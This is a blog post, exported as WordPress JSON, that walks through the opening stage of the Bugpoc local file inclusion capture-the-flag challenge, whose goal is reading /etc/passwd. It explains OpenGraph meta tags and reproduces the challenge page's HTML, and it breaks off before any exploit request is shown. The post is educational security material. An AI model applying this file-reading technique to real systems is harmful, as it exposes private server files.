{"id":32,"date":"2023-01-13T20:22:26","date_gmt":"2023-01-13T20:22:26","guid":{"rendered":"http:\/\/thered0ne.com\/?p=32"},"modified":"2025-12-29T19:46:00","modified_gmt":"2025-12-29T19:46:00","slug":"bugpoc-challenge-3-local-file-inclusion-lfi","status":"publish","type":"post","link":"https:\/\/thered0ne.com\/?p=32","title":{"rendered":"Bugpoc challenge #3 &#8211; Local file inclusion (LFI)"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"489\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/68747470733a2f2f696d6167652e6962622e636f2f6a4d32396f6e2f70757a7a6c656c6f676f2e706e67.png\" alt=\"\" class=\"wp-image-34\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/68747470733a2f2f696d6167652e6962622e636f2f6a4d32396f6e2f70757a7a6c656c6f676f2e706e67.png 486w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/68747470733a2f2f696d6167652e6962622e636f2f6a4d32396f6e2f70757a7a6c656c6f676f2e706e67-298x300.png 298w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/68747470733a2f2f696d6167652e6962622e636f2f6a4d32396f6e2f70757a7a6c656c6f676f2e706e67-150x150.png 150w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/68747470733a2f2f696d6167652e6962622e636f2f6a4d32396f6e2f70757a7a6c656c6f676f2e706e67-160x160.png 160w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>$ Introduction:<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Bugpoc is a bug bounty program that was private in first place, and now is public. Everyone is hitting Bugpoc to hack their platform. I like Bugpoc program, I never saw a team with high level of professionalism, high hacking spirit and quick response time in submission process.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We are all excited, and here we are with a new challenge and this one is different ! A local file inclusion (LFI). If you don&#8217;t know about the Local file inclusion here is a link for a quick definition: <a href=\"https:\/\/en.wikipedia.org\/wiki\/File_inclusion_vulnerability\">https:\/\/en.wikipedia.org\/wiki\/File_inclusion_vulnerability<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Without further ado, grab a cup of coffee and let&#8217;s start hacking!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenge information:<\/strong> The vulnerable page: <a href=\"http:\/\/social.buggywebsite.com\/\">http:\/\/social.buggywebsite.com<\/a> <strong>Rules:<\/strong> This challenge has one rule and it&#8217;s quite simple: find your way to the demon&#8217;s lair, the &#8221; <strong>\/etc\/passwd<\/strong>&#8220;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ The web page:<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As you can see,&nbsp; there is one input available, with limited options: 1-&nbsp;You can enter a text content to share. 2- Or, you can enter a URL to share.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"450\" height=\"524\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-7.png\" alt=\"\" class=\"wp-image-35\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-7.png 450w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-7-258x300.png 258w\" sizes=\"auto, (max-width: 450px) 100vw, 450px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">If you put a simple text, all what you will get is a <strong>&#8220;Twitter&#8221;<\/strong> &amp; <strong>&#8220;Reddit&#8221;<\/strong> buttons. On the other hand, if you put&nbsp; something shareable like a &#8221; <strong>Facebook<\/strong>&#8221; or &#8221; <strong>Reddit<\/strong>&#8221; URL, more buttons will appear as well as its content preview <strong>(See above image)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, the questions that came up to my mind is how the content preview is generated?&nbsp; Why does it appear just when we put a shareable URL ? and why this is not the case for a simple text ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To answer this, I had to make a research on that subject. I searched in google, I found that is something related to &#8221; <strong>HTML Meta tags<\/strong>&#8220;. It wasn&#8217;t clear at first because I never experienced or had the chance to hack anything related to &#8221; <strong>HTML&nbsp;Meta tags<\/strong>&#8220;.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, I have to say something important here, don&#8217;t hesitate to talk to the community. Sometimes we spend too much time just to find one keyword, one hint, or something that will lead us to our answers. Thus, asking a friend doesn&#8217;t make you a cheater. It is much easier and you save plenty of time; indeed, that&#8217;s what I did.&nbsp; I asked a friend on discord&nbsp; ( <a href=\"https:\/\/github.com\/acut3\"><strong>Acut3<\/strong><\/a> , a good hacker&nbsp; \ud83d\udc4c ) , he told me that&nbsp; I have to search for&nbsp; <strong>&#8220;Opengraph metadata&#8221;,<\/strong> and there, will be your answers <strong>.<\/strong> Later on, <strong>Bugpoc<\/strong> put the first hint, which confirm the Actu3&#8217;s clue.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"598\" height=\"399\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-8.png\" alt=\"\" class=\"wp-image-36\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-8.png 598w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-8-300x200.png 300w\" sizes=\"auto, (max-width: 598px) 100vw, 598px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">I was surprised, about the&nbsp;<strong>&#8220;Meta tags&#8221;&nbsp;<\/strong>and the fact that&nbsp;contain a wealth of information that I never thought that it will be useful for me, until this very day.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;meta charset=\"UTF-8\">\n&lt;title>Social Media Sharer&lt;\/title>\n&lt;link href=\"https:\/\/fonts.googleapis.com\/css?family=Poppins:400,800\" rel=\"stylesheet\">\n&lt;link href=\"style.css\" rel=\"stylesheet\">\n&lt;script type=\"text\/javascript\" async=\"\" src=\"https:\/\/www.google-analytics.com\/analytics.js\">&lt;\/script>&lt;script src=\"script-min.js\"> &lt;\/script>\n&lt;link rel=\"shortcut icon\" type=\"image\/x-icon\" href=\"favicon.ico\">\n\n&lt;meta property=\"og:type\" content=\"website\">\n&lt;meta property=\"og:url\" content=\"http:\/\/social.buggywebsite.com\/\">\n&lt;meta property=\"og:title\" content=\"Buggy Social LFI Challenge\">\n&lt;meta property=\"og:description\" content=\"LFI CTF Challenge with cash prizes! Brought to you by bugpoc.com. Submit solutions to hackerone.com\/bugpoc.\">\n&lt;meta property=\"og:image\" content=\"http:\/\/social.buggywebsite.com\/ctf-info-img.jpg\">\n\t\t\n&lt;meta property=\"twitter:card\" content=\"summary_large_image\">\n&lt;meta property=\"twitter:url\" content=\"http:\/\/social.buggywebsite.com\/\">\n&lt;meta property=\"twitter:title\" content=\"Buggy Social LFI Challenge\">\n&lt;meta property=\"twitter:description\" content=\"LFI CTF Challenge with cash prizes! Brought to you by bugpoc.com. Submit solutions to hackerone.com\/bugpoc.\">\n&lt;meta property=\"twitter:image\" content=\"http:\/\/social.buggywebsite.com\/ctf-info-img.jpg\"><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">charset<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;UTF-8&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">title<\/span><span style=\"color: #F8F8F2\">&gt;Social Media Sharer&lt;\/<\/span><span style=\"color: #F92672\">title<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">link<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">href<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;https:\/\/fonts.googleapis.com\/css?family=Poppins:400,800&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">rel<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;stylesheet&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">link<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">href<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;style.css&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">rel<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;stylesheet&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">script<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">type<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;text\/javascript&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">async<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">src<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;https:\/\/www.google-analytics.com\/analytics.js&quot;<\/span><span style=\"color: #F8F8F2\">&gt;&lt;\/<\/span><span style=\"color: #F92672\">script<\/span><span style=\"color: #F8F8F2\">&gt;&lt;<\/span><span style=\"color: #F92672\">script<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">src<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;script-min.js&quot;<\/span><span style=\"color: #F8F8F2\">&gt; &lt;\/<\/span><span style=\"color: #F92672\">script<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">link<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">rel<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;shortcut icon&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">type<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;image\/x-icon&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">href<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;favicon.ico&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:type&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;website&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:url&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/social.buggywebsite.com\/&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:title&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;Buggy Social LFI Challenge&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:description&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;LFI CTF Challenge with cash prizes! Brought to you by bugpoc.com. Submit solutions to hackerone.com\/bugpoc.&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:image&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/social.buggywebsite.com\/ctf-info-img.jpg&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;twitter:card&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;summary_large_image&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;twitter:url&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/social.buggywebsite.com\/&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;twitter:title&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;Buggy Social LFI Challenge&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;twitter:description&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;LFI CTF Challenge with cash prizes! Brought to you by bugpoc.com. Submit solutions to hackerone.com\/bugpoc.&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;twitter:image&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/social.buggywebsite.com\/ctf-info-img.jpg&quot;<\/span><span style=\"color: #F8F8F2\">&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"658\" height=\"252\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-9.png\" alt=\"\" class=\"wp-image-37\" style=\"width:841px;height:322px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-9.png 658w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-9-300x115.png 300w\" sizes=\"auto, (max-width: 658px) 100vw, 658px\" \/><figcaption class=\"wp-element-caption\">HTML Metadata<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">As you may noticed, the&nbsp;<strong>&#8220;Meta tags&#8221;<\/strong>&nbsp;section contains what we call the&nbsp;<strong>&#8220;Opengraph Metadata&#8221;.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Here is the Wikipedia definition:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Open Graph protocol developed by Facebook, enables developers to integrate their pages into Facebook&#8217;s global mapping\/tracking tool Social Graph. These pages gain the functionality of other graph objects including profile links and stream updates for connected users. OpenGraph tags in&nbsp;HTML5&nbsp;might look like this:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;meta charset=\"utf-8\" \/>\n&lt;meta name=\"viewport\" content=\"width=device-width\" \/>\n&lt;meta property=\"og:title\" content=\"Example title of article\" \/>\n&lt;meta property=\"og:site_name\" content=\"example.com website\" \/>\n&lt;meta property=\"og:type\" content=\"article\" \/>\n&lt;meta property=\"og:url\" content=\"http:\/\/example.com\/example-title-of-article\" \/>\n&lt;meta property=\"og:image\" content=\"http:\/\/example.com\/article_thumbnail.jpg\" \/><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">charset<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;utf-8&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">name<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;viewport&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;width=device-width&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:title&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;Example title of article&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:site_name&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;example.com website&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:type&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;article&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:url&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/example.com\/example-title-of-article&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:image&quot;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/example.com\/article_thumbnail.jpg&quot;<\/span><span style=\"color: #F8F8F2\"> \/&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">What&#8217;s in the above image, is an example of&nbsp; the &#8221;&nbsp;<strong>OpenGraph Tags<\/strong>&#8220;. The &#8221;&nbsp;<strong>og:image<\/strong>&#8221; tag, It&#8217;s the most important one, because it occupies the most social feed real estate and that&#8217;s what you use when you&#8217;d like to represent your content.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"574\" height=\"669\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-10.png\" alt=\"\" class=\"wp-image-43\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-10.png 574w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-10-257x300.png 257w\" sizes=\"auto, (max-width: 574px) 100vw, 574px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Now, we all know how the content is loaded, and how the image is generated. This give us an understanding on how the application works, and what&#8217;s the purpose of &#8221;&nbsp;<strong>Opengraph meta tags<\/strong>&#8220;. I know, you want to know more &#8230;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"399\" height=\"226\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-11.png\" alt=\"\" class=\"wp-image-44\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-11.png 399w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-11-300x170.png 300w\" sizes=\"auto, (max-width: 399px) 100vw, 399px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ The Server Endpoint:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Using burp, I entered a&nbsp;&nbsp;shareable&nbsp;&nbsp;Reddit URL, which means it has &#8221;&nbsp;<strong>og:image<\/strong>&nbsp;&#8220;. I intercepted the HTTP request like this:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img 